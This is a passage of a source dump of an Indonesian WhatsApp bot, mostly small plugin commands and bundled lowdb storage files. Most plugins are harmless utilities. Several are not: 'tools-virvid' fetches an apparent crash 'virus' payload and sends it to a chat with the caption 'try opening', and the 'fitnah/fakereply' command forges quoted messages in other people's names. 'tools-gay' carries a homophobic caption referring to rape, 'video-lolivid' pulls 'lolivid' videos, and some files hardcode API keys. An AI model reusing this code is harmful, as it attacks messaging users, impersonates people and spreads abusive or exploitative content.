text.split(sp) 14 | conn.fakeReply(m.chat, real.join(sp).trimStart(), who, fake.trimEnd(), m.isGroup ? m.chat : false, { 15 | contextInfo: { 16 | mentionedJid: conn.parseMention(real.join(sp).trim()) 17 | } 18 | }) 19 | } 20 | handler.tags = ["tools"] 21 | handler.command = /^(fitnah|fakereply)$/ 22 | 23 | module.exports = handler 24 | 25 | function copy(obj) { 26 | return JSON.parse(JSON.stringify(obj)) 27 | } 28 | -------------------------------------------------------------------------------- /plugins/tools-gay.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 3 | conn.sendFile(m.chat, global.API('https://some-random-api.ml', '/canvas/gay', { 4 | avatar: await conn.getProfilePicture(who).catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'), 5 | }), 'gay.png', 'siapa disini yang cita citanya menjadi gay dan memperkosa gw gays?', m) 6 | } 7 | 8 | handler.help = ['gay'] 9 | handler.tags = ['tools'] 10 | 11 | handler.command = /^(gay)$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/tools-hash.js: -------------------------------------------------------------------------------- 1 | let { createHash } = require('crypto') 2 | 3 | let handler = async(m, { conn, text }) => { 4 | 5 | if (!text) throw 'Teksnya mana?' 6 | 7 | let hash = createHash('md5').update(text).digest('hex') 8 | 9 | m.reply(`Teks Asli :\n${text}\nHash :\n${hash}`) 10 | } 11 | handler.help = ['hash '] 12 | handler.tags = ['tools'] 13 | handler.command = /^(hash)$/i 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/tools-hlh.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { command, text }) => { 2 | let ter = command[1].toLowerCase() 3 | let txt = m.quoted ? m.quoted.text ? m.quoted.text : text ? text : m.text : text ? text : m.text 4 | await m.reply(txt.replace(/[aiueo]/g, ter).replace(/[AIUEO]/g, ter.toUpperCase())) 5 | } 6 | handler.help = [...'aiueo'].map(v => `h${v}l${v}h `) 7 | handler.tags = ['tools'] 8 | handler.command = /^h([aiueo])l\1h/i 9 | 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /plugins/tools-img2braille.js: -------------------------------------------------------------------------------- 1 | let { promises: fs } = require('fs') 2 | let { join } = require('path') 3 | const tmp = join(__dirname, '../tmp') 4 | async function handler(m) { 5 | let { braillefy } = require('img2braille') 6 | 7 | let q = m.quoted ? m.quoted : m 8 | if (!/^image/.test(q.mimetype)) throw 'Not an Image!' 9 | let filename = join(tmp, + new Date + '.png') 10 | await fs.writeFile(filename, await q.download()) 11 | m.reply(await braillefy(filename, 30, { 12 | invert: false, 13 | dither: true 14 | })) 15 | await fs.unlink(filename) 16 | } 17 | handler.command = handler.help = ['tobraille'] 18 | handler.tags = ['tools'] 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/tools-memeg.js: -------------------------------------------------------------------------------- 1 | const uploadFile = require('../system/lib/uploadFile') 2 | const uploadImage = require('../system/lib/uploadImage') 3 | let handler = async (m, { conn, text }) => { 4 | let [t1, t2] = text.split `|` 5 | if (!t1) throw 'No Text' 6 | if (!t2) { 7 | t2 = t1 8 | t1 = '' 9 | } 10 | let q = m.quoted ? m.quoted : m 11 | let mime = (q.msg || q).mimetype || '' 12 | if (!mime) throw `Unknown Mimetype` 13 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Mime ${mime} tidak support` 14 | let img = await q.download() 15 | let link = await uploadImage(img).catch(e => uploadFile(img)) 16 | conn.sendFile(m.chat, global.API('https://api.memegen.link', `/images/custom/${encodeURIComponent(t1)}/${encodeURIComponent(t2)}.png`, { 17 | background: link 18 | }), 'meme.png', `Nih :|`, m) 19 | } 20 | handler.help = ['memeg'].map(v => v + '') 21 | handler.tags = ['tools'] 22 | handler.command = /^(memeg)$/i 23 | 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/tools-mention.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'Tidak ada teks' 3 | m.reply(text, false, { 4 | contextInfo: { 5 | mentionedJid: conn.parseMention(text) 6 | } 7 | }) 8 | } 9 | handler.help = ['mention '] 10 | handler.tags = ['tools'] 11 | 12 | handler.command = /^mention$/i 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/tools-nickff.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | axios.get(`https://api.zeks.xyz/api/nickepep?apikey=vinzapi`).then ((res) => { 5 | let hasil = `${res.data.result}` 6 | 7 | conn.reply(m.chat, hasil, m) 8 | }) 9 | } 10 | handler.help = ['nickff'] 11 | handler.tags = ['tools'] 12 | handler.command = /^(nickff)$/i 13 | handler.owner = false 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | handler.exp = 0 24 | handler.limit = false 25 | 26 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tools-ninja.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | if (!text) return conn.reply(m.chat, 'Masukan Namamu', m) 5 | 6 | axios.get(`https://api.terhambar.com/ninja?nama=${text}`).then ((res) => { 7 | let hasil = `Nama Ninja *${text}*\nAdalah : ${res.data.result.ninja}` 8 | 9 | conn.reply(m.chat, hasil, m) 10 | }) 11 | } 12 | handler.help = ['ninja'].map(v => v + ' ') 13 | handler.tags = ['tools'] 14 | handler.command = /^(ninja)$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | handler.limit = false 27 | 28 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tools-nonton.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | if (!text) return conn.reply(m.chat, 'Masukan Nama Filmnya Bos', m) 5 | 6 | axios.get(`https://tobz-api.herokuapp.com/api/film?q=${text}&apikey=BotWeA`).then ((res) => { 7 | let hasil = `*NONTON FILM*\n\nJudul : ${res.data.result.judul}\nGenre : ${res.data.result.genre_negara}\nRating : ${res.data.result.rating}\nLink : ${res.data.result.link}` 8 | 9 | conn.reply(m.chat, hasil, m) 10 | }) 11 | } 12 | handler.help = ['nonton'].map(v => v + ' ') 13 | handler.tags = ['tools'] 14 | handler.command = /^(nonton)$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | handler.limit = true 27 | 28 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tools-ocr.js: -------------------------------------------------------------------------------- 1 | const uploadImage = require('../system/lib/uploadImage') 2 | const fetch = require('node-fetch') 3 | 4 | let handler = async (m, { usedPrefix, command }) => { 5 | 6 | let q = m.quoted ? m.quoted : m 7 | let mime = (q.msg || q).mimetype || '' 8 | if (!mime) throw `ini tu gunanya buat ngambil teks yang ada digambar, kirim/balas gambar dengan perintah ${usedPrefix + command}` 9 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Mime ${mime} tidak didukung!` 10 | let img = await q.download() 11 | let url = await uploadImage(img) 12 | let res = await fetch(global.API('jonaz', '/ocr', { url }, '')) 13 | if (!res.ok) throw await `${res.status} ${res.statusText}` 14 | let json = await res.json() 15 | m.reply(json.resultadoOCR) 16 | 17 | } 18 | handler.help = ['ocr'] 19 | handler.tags = ['tools'] 20 | handler.command = /^ocr$/i 21 | handler.limit = true 22 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tools-ping.js: -------------------------------------------------------------------------------- 1 | let { performance } = require('perf_hooks') 2 | let handler = async (m, { conn }) => { 3 | let old = performance.now() 4 | await m.reply('_Testing speed..._') 5 | let neww = performance.now() 6 | m.reply(neww - old + 'ms') 7 | } 8 | handler.help = ['ping', 'speed'] 9 | handler.tags = ['tools'] 10 | 11 | handler.command = /^(ping|speed)$/i 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/tools-purba.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios") 2 | 3 | let handler = async(m, { conn, text }) => { 4 | 5 | if (!text) return conn.reply(m.chat, 'Teksnya?', m) 6 | 7 | axios.get(`http://lolhuman.herokuapp.com/api/bahasapurba?apikey=31caf10e4a64e86c1a92bcba&text=${text}`).then ((res) => { 8 | let hasil = `${res.data.result}` 9 | 10 | conn.reply(m.chat, hasil, m) 11 | }) 12 | } 13 | handler.help = ['purba'].map(v => v + ' ') 14 | handler.tags = ['tools'] 15 | handler.command = /^(purba)$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | handler.exp = 0 27 | handler.limit = false 28 | 29 | module.exports = handler 30 | -------------------------------------------------------------------------------- /plugins/tools-reverse.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | if (!text) return conn.reply(m.chat, 'Masukan Teksnya', m) 5 | 6 | axios.get(`https://videfikri.com/api/hurufterbalik/?query=${text}`).then ((res) => { 7 | let hasil = `${res.data.result.kata}` 8 | 9 | conn.reply(m.chat, hasil, m) 10 | }) 11 | } 12 | handler.help = ['reverse'].map(v => v + ' ') 13 | handler.tags = ['tools'] 14 | handler.command = /^(reverse)$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | handler.limit = false 27 | 28 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tools-save.js: -------------------------------------------------------------------------------- 1 | let PhoneNumber = require('awesome-phonenumber') 2 | 3 | let handler = async(m, { conn, text }) => { 4 | 5 | let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 6 | if (!text) return conn.reply(m.chat, 'Mau Disave Namanya Apa?', m) 7 | let nomor = `${PhoneNumber('+' + who.replace('@s.whatsapp.net', '')).getNumber('international')}` 8 | let nama = `${text}` 9 | 10 | conn.sendContact(m.chat, nomor, nama, m) 11 | } 12 | handler.help = ['save '] 13 | handler.tags = ['tools'] 14 | handler.command = /^(save)$/i 15 | 16 | handler.fail = null 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/tools-say.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'Masukan teks yang akan ditirui oleh Bot!' 3 | m.reply(text, false, { 4 | contextInfo: { 5 | mentionedJid: conn.parseMention(text) 6 | } 7 | }) 8 | } 9 | handler.help = ['say '] 10 | handler.tags = ['tools'] 11 | 12 | handler.command = /^say$/i 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/tools-speed.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/plugins/tools-speed.js -------------------------------------------------------------------------------- /plugins/tools-teruskan.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | 3 | if (!text) return conn.reply(m.chat, 'Teksnya?', m) 4 | 5 | m.reply(`${text}`, false, { 6 | contextInfo: { 7 | forwardingScore: 1000, 8 | isForwarded: true 9 | } 10 | }) 11 | } 12 | handler.help = ['teruskan'].map(v => v + ' ') 13 | handler.tags = ['tools'] 14 | handler.command = /^(teruskan)$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/tools-textpro.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let split = '|' 3 | let handler = async (m, { conn, args: [effect], text: txt }) => { 4 | let { effects } = await (await (fetch(global.API('xteam', '/textpro')))).json() 5 | if (!effect) throw '*Daftar Efek*\n\n' + effects.sort((a, b) => a - b).join('\n') 6 | effect = effect.toLowerCase() 7 | if (!effect in effects) throw `Efek *${effect}* tidak ditemukan` 8 | let [text, ...text2] = txt.replace(effect, '').trimStart().split(split) 9 | text2 = text2.join(split) 10 | let url = global.API('xteam', '/textpro/' + effect, { text, text2 }, 'APIKEY') 11 | await conn.sendFile(m.chat, url, 'file.jpg', `*TEXTPRO*\n*Efek:* ${effect}`, m, 0, { thumbnail: Buffer.alloc(0) }) 12 | } 13 | handler.help = ['textpro'].map(v => v + ' |[teks2]') 14 | handler.tags = ['tools'] 15 | handler.command = /^(textpro)$/i 16 | 17 | module.exports = handler 18 | 19 | -------------------------------------------------------------------------------- /plugins/tools-upload.js: -------------------------------------------------------------------------------- 1 | const uploadFile = require('../system/lib/uploadFile') 2 | const uploadImage = require('../system/lib/uploadImage') 3 | 4 | let handler = async (m) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (q.msg || q).mimetype || '' 7 | if (!mime) throw 'No media found' 8 | let media = await q.download() 9 | let isTele = /image\/(png|jpe?g|gif)|video\/mp4/.test(mime) 10 | let link = await (isTele ? uploadImage : uploadFile)(media) 11 | m.reply(`${link} 12 | ${media.length} Byte(s) 13 | ${isTele ? '(No Expiry Date)' : '(Unknown)'}`) 14 | } 15 | handler.help = ['upload (caption|reply media)'] 16 | handler.tags = ['tools'] 17 | handler.command = /^upload$/i 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/tools-upload2.js: -------------------------------------------------------------------------------- 1 | const uploadFile = require('../system/lib/uploadFile') 2 | const uploadImage = require('../system/lib/uploadImage') 3 | 4 | let handler = async (m) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (q.msg || q).mimetype || '' 7 | if (!mime) throw 'No media found' 8 | msg = m 9 | encmedia = JSON.parse(JSON.stringify(msg).replace('quotedM','m')).message.extendedTextMessage.contextInfo 10 | media = await conn.downloadAndSaveMediaMessage(encmedia) 11 | hasil = await require('ra-api').UploadFile(media) 12 | m.reply(JSON.stringify(hasil, null, 2)) 13 | } 14 | handler.help = ['upload2 (caption|reply media)'] 15 | handler.tags = ['tools'] 16 | handler.command = /^upload2$/i 17 | 18 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tools-virvid.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let axios = require('axios') 3 | 4 | let handler = async(m, { conn, text }) => { 5 | let caption = `Coba Buka` 6 | 7 | axios.get('https://api.zeks.xyz/api').then ((res) => { 8 | let virus = `${res.data.SPEED}` 9 | 10 | conn.sendMessage(m.chat, virus, MessageType.video, { quoted: m, caption: caption }) 11 | }) 12 | } 13 | handler.help = ['virvid'] 14 | handler.tags = ['tools'] 15 | handler.command = /^(virvid)$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | handler.exp = 0 27 | handler.limit = false 28 | 29 | module.exports = handler 30 | -------------------------------------------------------------------------------- /plugins/tools-waktu.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | if (!text) return conn.reply(m.chat, 'Masukan Nama Daerahnya', m) 5 | 6 | axios.get(`https://tobz-api.herokuapp.com/api/jamdunia?lokasi=${text}&apikey=BotWeA`).then ((res) => { 7 | let hasil = `Waktu Daerah *${text}*\n\nJam : ${res.data.time}\nTanggal : ${res.data.date}\nInfo : ${res.data.title}` 8 | 9 | conn.reply(m.chat, hasil, m) 10 | }) 11 | } 12 | handler.help = ['waktu'].map(v => v + ' ') 13 | handler.tags = ['tools'] 14 | handler.command = /^(waktu)$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | handler.limit = false 27 | 28 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tools-yts.js: -------------------------------------------------------------------------------- 1 | let yts = require('yt-search') 2 | let handler = async (m, { text }) => { 3 | if (!text) throw 'Cari apa?' 4 | let results = await yts(text) 5 | let teks = results.all.map(v => { 6 | switch (v.type) { 7 | case 'video': return ` 8 | *${v.title}* (${v.url}) 9 | Duration: ${v.timestamp} 10 | Uploaded ${v.ago} 11 | ${v.views} views 12 | `.trim() 13 | case 'channel': return ` 14 | *${v.name}* (${v.url}) 15 | _${v.subCountLabel} (${v.subCount}) Subscriber_ 16 | ${v.videoCount} video 17 | `.trim() 18 | } 19 | }).filter(v => v).join('\n========================\n') 20 | m.reply(teks) 21 | } 22 | handler.help = ['', 'earch'].map(v => 'yts' + v + ' ') 23 | handler.tags = ['tools'] 24 | handler.command = /^yts(earch)?$/i 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/video-lolivid.js: -------------------------------------------------------------------------------- 1 | async function getRandom(url) { 2 | return Math.floor(Math.random() * url) 3 | } 4 | 5 | let handler = async (m, { conn }) => { 6 | 7 | conn.sendFile(m.chat, `https://recoders-area.caliph.repl.co/api/lolivid`, '', ``, m) 8 | 9 | } 10 | 11 | handler.help = ['lolivid'] 12 | 13 | handler.tags = ['video'] 14 | 15 | handler.command = /^(lolivid)$/i 16 | 17 | handler.owner = false 18 | 19 | handler.mods = false 20 | 21 | handler.premium = false 22 | 23 | handler.group = false 24 | 25 | handler.private = false 26 | 27 | 28 | 29 | handler.admin = false 30 | 31 | handler.botAdmin = false 32 | 33 | 34 | 35 | handler.fail = null 36 | 37 | 38 | 39 | module.exports = handler -------------------------------------------------------------------------------- /plugins/vote-cekvote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | let id = m.chat 3 | conn.vote = conn.vote ? conn.vote : {} 4 | if (!(id in conn.vote)) throw `_*tidak ada voting digrup ini!*_\n\n*${usedPrefix}mulaivote* - untuk memulai vote` 5 | 6 | let [reason, upvote, devote] = conn.vote[id] 7 | let mentionedJid = [...upvote, ...devote] 8 | m.reply( 9 | `*「 VOTE 」* 10 | 11 | *Alasan:* ${reason} 12 | 13 | *UPVOTE* 14 | _Total: ${upvote.length}_ 15 | ${upvote.map(u => '@' + u.split('@')[0]).join('\n')} 16 | 17 | *DEVOTE* 18 | _Total: ${devote.length}_ 19 | ${devote.map(u => '@' + u.split('@')[0]).join('\n')}} 20 | 21 | *${usedPrefix}hapusvote* - untuk menghapus vote 22 | 23 | _by Zevano_ 24 | `.trim(), false, { contextInfo: { mentionedJid } }) 25 | } 26 | handler.help = ['cekvote'] 27 | handler.tags = ['vote'] 28 | handler.command = /^cekvote$/i 29 | handler.group = true 30 | module.exports = handler 31 | -------------------------------------------------------------------------------- /plugins/vote-delete.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | let id = m.chat 3 | conn.vote = conn.vote ? conn.vote : {} 4 | if (!(id in conn.vote)) throw `_*tidak ada voting digrup ini!*_\n\n*${usedPrefix}mulaivote* - untuk memulai vote` 5 | delete conn.vote[id] 6 | m.reply(`Done!`) 7 | 8 | } 9 | handler.help = ['hapusvote'] 10 | handler.tags = ['vote'] 11 | handler.command = /^(delete|hapus)vote$/i 12 | handler.group = true 13 | handler.admin = true 14 | module.exports = handler -------------------------------------------------------------------------------- /plugins/vote-start.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text, usedPrefix }) => { 2 | conn.vote = conn.vote ? conn.vote : {} 3 | let id = m.chat 4 | if (id in conn.vote) { 5 | throw `_Masih ada vote di chat ini!_\n\n*${usedPrefix}hapusvote* - untuk menghapus vote` 6 | } 7 | m.reply(`Vote dimulai!\n\n*${usedPrefix}upvote* - untuk ya\n*${usedPrefix}devote* - untuk tidak\n*${usedPrefix}cekvote* - untuk mengecek vote\n*${usedPrefix}hapusvote* - untuk menghapus vote`) 8 | conn.vote[id] = [ 9 | text, 10 | [], 11 | [] 12 | ] 13 | } 14 | handler.help = ['mulaivote [alasan]'] 15 | handler.tags = ['vote'] 16 | handler.command = /^(start|mulai)vote$/i 17 | handler.limit = true 18 | handler.group = true 19 | handler.admin = true 20 | module.exports = handler -------------------------------------------------------------------------------- /plugins/vote-vote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix, command }) => { 2 | let id = m.chat 3 | conn.vote = conn.vote ? conn.vote : {} 4 | if (!(id in conn.vote)) throw `_*tidak ada voting digrup ini!*_\n\n*${usedPrefix}mulaivote* - untuk memulai vote` 5 | let isVote = conn.vote[id][1].concat(conn.vote[id][2]) 6 | const wasVote = isVote.includes(m.sender) 7 | if (wasVote) throw 'Kamu sudah vote!' 8 | if (/up/i.test(command)) { 9 | conn.vote[id][1].push(m.sender) 10 | } else if (/de/i.test(command)) { 11 | conn.vote[id][2].push(m.sender) 12 | } 13 | m.reply(`Done!\n\n*${usedPrefix}cekvote* - untuk mengecek vote`) 14 | 15 | } 16 | handler.help = ['vote'] 17 | handler.tags = ['vote'] 18 | handler.command = /^(up|de)?vote$/i 19 | handler.group = true 20 | module.exports = handler -------------------------------------------------------------------------------- /plugins/xp-unreg.js: -------------------------------------------------------------------------------- 1 | const { createHash } = require('crypto') 2 | 3 | let handler = async function (m, { args }) { 4 | if (!args[0]) throw 'Serial Number tidak boleh kosong!' 5 | let user = global.db.data.users[m.sender] 6 | let sn = createHash('md5').update(m.sender).digest('hex') 7 | if (args[0] !== sn) throw 'Serial Number tidak valid' 8 | user.registered = false 9 | m.reply(`Anda telah membatalan Pendaftaran!`) 10 | } 11 | handler.help = ['unreg ','unregister '] 12 | handler.tags = ['xp'] 13 | 14 | handler.command = /^unreg(ister)?$/i 15 | handler.register = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /system/audio/Ara.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/audio/Ara.mp3 -------------------------------------------------------------------------------- /system/audio/woahh.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zevanoo/Nayla-MD/afeebd755ee9f417d8fd1625b43679ef56b55439/system/audio/woahh.mp3 -------------------------------------------------------------------------------- /system/lib/color.js: -------------------------------------------------------------------------------- 1 | const chalk = require('chalk') 2 | 3 | const color = (text, color) => { 4 | return !color ? chalk.green(text) : chalk.keyword(color)(text) 5 | } 6 | 7 | const bgcolor = (text, bgcolor) => { 8 | return !bgcolor ? chalk.green(text) : chalk.bgKeyword(bgcolor)(text) 9 | } 10 | 11 | module.exports = { 12 | color, 13 | bgcolor 14 | } 15 | -------------------------------------------------------------------------------- /system/lib/logs.js: -------------------------------------------------------------------------------- 1 | let stdouts = [] 2 | module.exports = (maxLength = 200) => { 3 | let oldWrite = process.stdout.write.bind(process.stdout) 4 | module.exports.disable = () => { 5 | module.exports.isModified = false 6 | return process.stdout.write = oldWrite 7 | } 8 | process.stdout.write = (chunk, encoding, callback) => { 9 | stdouts.push(Buffer.from(chunk, encoding)) 10 | oldWrite(chunk, encoding, callback) 11 | if (stdouts.length > maxLength) stdouts.shift() 12 | } 13 | module.exports.isModified = true 14 | return module.exports 15 | } 16 | 17 | module.exports.isModified = false 18 | module.exports.logs = () => Buffer.concat(stdouts) 19 | 20 | -------------------------------------------------------------------------------- /system/lib/lowdb/Low.d.ts: -------------------------------------------------------------------------------- 1 | export interface Adapter { 2 | read: () => Promise; 3 | write: (data: T) => Promise; 4 | } 5 | export declare class Low { 6 | adapter: Adapter; 7 | data: T | null; 8 | constructor(adapter: Adapter); 9 | read(): Promise; 10 | write(): Promise; 11 | } 12 | -------------------------------------------------------------------------------- /system/lib/lowdb/Low.js: -------------------------------------------------------------------------------- 1 | const { MissingAdapterError } = require('./MissingAdapterError.js'); 2 | class Low { 3 | constructor(adapter) { 4 | this.data = null; 5 | if (adapter) { 6 | this.adapter = adapter; 7 | } 8 | else { 9 | throw new MissingAdapterError(); 10 | } 11 | } 12 | async read() { 13 | this.data = await this.adapter.read(); 14 | } 15 | async write() { 16 | if (this.data) { 17 | await this.adapter.write(this.data); 18 | } 19 | } 20 | } 21 | module.exports = { Low }; 22 | -------------------------------------------------------------------------------- /system/lib/lowdb/LowSync.d.ts: -------------------------------------------------------------------------------- 1 | export interface SyncAdapter { 2 | read: () => T | null; 3 | write: (data: T) => void; 4 | } 5 | export declare class LowSync { 6 | adapter: SyncAdapter; 7 | data: T | null; 8 | constructor(adapter: SyncAdapter); 9 | read(): void; 10 | write(): void; 11 | } 12 | -------------------------------------------------------------------------------- /system/lib/lowdb/LowSync.js: -------------------------------------------------------------------------------- 1 | const { MissingAdapterError } = require('./MissingAdapterError.js'); 2 | class LowSync { 3 | constructor(adapter) { 4 | this.data = null; 5 | if (adapter) { 6 | this.adapter = adapter; 7 | } 8 | else { 9 | throw new MissingAdapterError(); 10 | } 11 | } 12 | read() { 13 | this.data = this.adapter.read(); 14 | } 15 | write() { 16 | if (this.data !== null) { 17 | this.adapter.write(this.data); 18 | } 19 | } 20 | } 21 | module.exports = { LowSync }; 22 | -------------------------------------------------------------------------------- /system/lib/lowdb/MissingAdapterError.d.ts: -------------------------------------------------------------------------------- 1 | export declare class MissingAdapterError extends Error { 2 | constructor(); 3 | } 4 | -------------------------------------------------------------------------------- /system/lib/lowdb/MissingAdapterError.js: -------------------------------------------------------------------------------- 1 | class MissingAdapterError extends Error { 2 | constructor() { 3 | super(); 4 | this.message = 'Missing Adapter'; 5 | } 6 | } 7 | module.exports = { MissingAdapterError }; 8 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/JSONFile.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class JSONFile implements Adapter { 3 | private adapter; 4 | constructor(filename: string); 5 | read(): Promise; 6 | write(obj: T): Promise; 7 | } 8 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/JSONFile.js: -------------------------------------------------------------------------------- 1 | const { TextFile } = require('./TextFile.js'); 2 | class JSONFile { 3 | constructor(filename) { 4 | this.adapter = new TextFile(filename); 5 | } 6 | async read() { 7 | const data = await this.adapter.read(); 8 | if (data === null) { 9 | return null; 10 | } 11 | else { 12 | return JSON.parse(data); 13 | } 14 | } 15 | write(obj) { 16 | return this.adapter.write(JSON.stringify(obj, null, 2)); 17 | } 18 | } 19 | module.exports = { JSONFile }; 20 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/JSONFileSync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class JSONFileSync implements SyncAdapter { 3 | private adapter; 4 | constructor(filename: string); 5 | read(): T | null; 6 | write(obj: T): void; 7 | } 8 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/JSONFileSync.js: -------------------------------------------------------------------------------- 1 | const { TextFileSync } = require('./TextFileSync.js'); 2 | class JSONFileSync { 3 | constructor(filename) { 4 | this.adapter = new TextFileSync(filename); 5 | } 6 | read() { 7 | const data = this.adapter.read(); 8 | if (data === null) { 9 | return null; 10 | } 11 | else { 12 | return JSON.parse(data); 13 | } 14 | } 15 | write(obj) { 16 | this.adapter.write(JSON.stringify(obj, null, 2)); 17 | } 18 | } 19 | module.exports = { JSONFileSync }; 20 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/LocalStorage.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class LocalStorage implements SyncAdapter { 3 | private key; 4 | constructor(key: string); 5 | read(): T | null; 6 | write(obj: T): void; 7 | } 8 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/LocalStorage.js: -------------------------------------------------------------------------------- 1 | class LocalStorage { 2 | constructor(key) { 3 | this.key = key; 4 | } 5 | read() { 6 | const value = localStorage.getItem(this.key); 7 | if (value === null) { 8 | return null; 9 | } 10 | return JSON.parse(value); 11 | } 12 | write(obj) { 13 | localStorage.setItem(this.key, JSON.stringify(obj)); 14 | } 15 | } 16 | module.exports = { LocalStorage }; 17 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/Memory.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class Memory implements Adapter { 3 | private data; 4 | read(): Promise; 5 | write(obj: T): Promise; 6 | } 7 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/Memory.js: -------------------------------------------------------------------------------- 1 | class Memory { 2 | constructor() { 3 | this.data = null; 4 | } 5 | read() { 6 | return Promise.resolve(this.data); 7 | } 8 | write(obj) { 9 | this.data = obj; 10 | return Promise.resolve(); 11 | } 12 | } 13 | module.exports = { Memory }; 14 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/MemorySync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class MemorySync implements SyncAdapter { 3 | private data; 4 | read(): T | null; 5 | write(obj: T): void; 6 | } 7 | -------------------------------------------------------------------------------- /system/lib/lowdb/adapters/MemorySync.js: -------------------------------------------------------------------------------- 1 | class MemorySync { 2 | constructor() { 3 | 